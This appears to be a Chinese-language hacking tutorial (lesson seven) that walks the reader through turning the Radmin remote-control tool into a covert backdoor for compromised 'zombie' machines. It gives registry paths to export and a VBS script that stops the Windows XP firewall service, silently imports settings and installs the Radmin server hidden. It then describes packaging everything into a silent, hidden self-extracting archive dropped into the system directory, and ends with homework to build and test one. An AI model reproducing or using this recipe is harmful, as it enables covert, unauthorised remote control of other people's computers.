第七课:手把手教你制作穿墙radmin

                          一.radmin介绍:

1.功能强大的远程控制软件.屏幕监视，文件管理，远程dos等操作.稳定性也很高.只要用于远程控制服务器.

2.正向连接的,不像灰鸽子反向连接,所以对于内网是无法控制.

                       二.手把手教你制作穿墙radmin.

由于xp sp2系统默认是打开防火墙的,而radmin又是正向连接,所以在肉鸡上

运行会被防火墙阻止.今天教大家制作穿墙的radmin.

第一步:安装好radmin和设置好连接密码,端口等相关参数.同是在本机安装radmin服务端.

第二步:把radmin的配置信息从注册表导出.
注册表位置:\HKEY_LOCAL_MACHINE\SYSTEM\RADmin\  导出命名radmin.reg

第三步:在服务里找到系统自带的防火墙(Windows Firewall/Internet Connection Sharing (ICS))这个服务.把类型设置为禁用.

第四步:打开防火墙,设置允许radmin连接的端口.(你在配置时的连接端口)

第五步:把xp2防火墙的配置信息导出来
\HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedAccess\
导出命名为:sharedaccess.reg

第六步:新建一个vbs文件,在里面输入以下内容:

set ws=wscript.createobject("wscript.shell")
ws.run "net stop sharedaccess",0
ws.run "regedit.exe /s shardaccess.reg",0
ws.run "regedit.exe /s radmin.reg",0
ws.run "r_server.exe /install /silence",0
ws.run "r_server.exe /start",0

保存为520hack.vbs

第七步:把以下六个文件制作成自解压格式:

radmin.reg
sharedaccess.reg
520hack.vbs
 
radmin的3个服务端r_server.exe, raddrv.dll,  AdmDll.dll

注意点:

1.解压路径:解压到系统目录下%systemroot%

2.安静格式----全部隐藏

3.覆盖方式----覆盖所有文件

第八步:测试

                               三.作业

自己动手制作一个类似的穿墙radmin,安排七个步骤制作.并测试是否成功.